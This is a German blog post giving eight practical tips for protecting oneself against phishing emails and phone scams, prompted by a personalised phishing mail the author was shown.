Ich finde es immer wieder erstaunlich, wie viel überzeugender eine Phishing-Spam aussieht, wenn sie eine persönliche Ansprache des Empfängers hat. Wer nicht – wie Frank, der mir dieses Machwerk zugesteckt hat – gewohnheitsmäßig vor jedem Klick erstmal in die Statuszeile seiner Mailsoftware schaut, um zu sehen, wo der Link überhaupt hingeht, kann „im Eifer des Gefechts“ auf so eine Mail durchaus reinfallen.

Selbstschutz vor Phishing

Deshalb ist es wichtig, sich so gut wie möglich vor Phishing zu schützen. Das ist viel einfacher, als die meisten Menschen glauben:

  1. Immer aufmerksam bleiben! Vor allem, wenn es um Geld geht! Genau hinschauen! Nachdenken! Nicht klicken, ohne nachgedacht zu haben! Nichts ist so eilig, dass nicht fünf Minuten Zeit wären.
  2. Immer daran denken, dass die Absenderadresse einer E-Mail beliebig gefälscht sein kann! Niemals vom Design einer E-Mail verblenden lassen, denn das ist auch beliebig aus anderen E-Mails kopierbar! An einer E-Mail, die nicht digital signiert ist, gibt es (fast) nichts, woran sich überprüfen ließe, ob sie wirklich vom angegebenen Absender kommt – und der mögliche Blick in die Mailheader mit anschließender Prüfung einer IP-Adresse ist für Laien… ähm… etwas abschreckend.
  3. Beim E-Mails, die zu „Sicherheitsüberprüfungen“ mit „Bestätigung von Daten“ auffordern, diese Aufmerksamkeit noch verdoppeln. Auch, wenn es nicht um Geld geht. Es bringt für die Sicherheit nach einem „Hack“ objektiv nichts, wenn noch einmal längst bekannte Daten angegeben werden, und kein Anbieter wird seine Nutzer oder Kunden dazu auffordern. Jemand, der zum Beispiel ein Amazon-Konto kriminell übernommen hat, kann nicht nur alle diese Daten lesen, sondern sie sogar ändern. Das gleiche gilt für Bankkonten und Accounts bei Webdiensten und auch sonst überall.
  4. Bei regelmäßig benutzten Websites wie Social-Media-Sites, Webshops, Händlern, Banken angewöhnen, niemals die Seite zu besuchen, indem man in eine E-Mail klickt! Immer über den Browser gehen! So folgt man (zumindest nicht so einfach) falschen Links, und eine wichtige Mitteilung wird auch nach einer Anmeldung auf der Amazon-Site präsentiert werden¹.
  5. Mailadressen kosten nichts, und deshalb unbedingt für jeden Dienst, der eine Registrierung mit Mailadresse erfordert, eine eigene Mailadresse benutzen. Den zwei Minuten Aufwand für die Einrichtung einer Mailadresse steht ein erheblicher Zugewinn an Sicherheit gegenüber. Eine Phishing-Mail an eine falsche Adresse kann nicht erschrecken und dadurch zu übereilten Reaktionen führen. Und wenn doch einmal eine dieser Mailadressen durch eines der vielen Datenlecks im Lande des nicht wirklich durchgesetzten und beim Scheitern mit keinem Haftungsrisiko für den Datensammler verbundenen „Datenschutzes“ in kriminelle Hände gerät, bleibt der Rest unkompromittiert, so dass es auch einfach und ohne „Nebenwirkungen“ möglich ist, die unbrauchbar gewordene Mailadresse stillzulegen.
  6. Natürlich sollte nicht überall das gleiche Passwort verwendet werden. Und es sollte niemals vergessen werden, was die wichtigste Regel für Passwortsicherheit ist.
  7. Und: Immer aufmerksam bleiben, wenn man über ein anonymisierendes Medium wie dem Internet mit Geld umgeht! Auch bei Übermüdung, Eile, Streit, Stress, ernsthaften Problemen. Auch, wenn man glaubt, dass man etwas inzwischen schnell und nebenbei erledigen kann. Immer aufmerksam bleiben! Nicht überrumpeln lassen! Keine Panikreaktionen wegen einer Mail! Phishing funktioniert selbst bei schlechter Präsentation viel zu häufig, und es gibt inzwischen auch recht „gut“ gemachte Phishing-Mails.
  8. Schließlich: Angesichts der diversen Datenlecks, bei denen auch Telefonnummern in die Hände von Verbrechern gerieten, auch am Telefon aufmerksam bleiben. Es ist nur eine Frage der Zeit, bis die Phisher dazu übergehen, einfach anzurufen und die Daten – „Wir haben gerade einen Angriff auf ihr Konto“ – nach gezielt ausgelöster Panik telefonisch abzufragen. Dabei immer darüber klar sein, dass die angezeigte Telefonnummer des Anrufers ebenfalls gefälscht werden kann!

Internet! Vor jedem Klick auf einen Link: Gehirn bentzen!

¹Natürlich kann der verwendete Rechner mit einem Trojaner befallen sein, der den gesamten Netzwerkverkehr manipuliert, aber dann ist Phishing das kleinste Problem…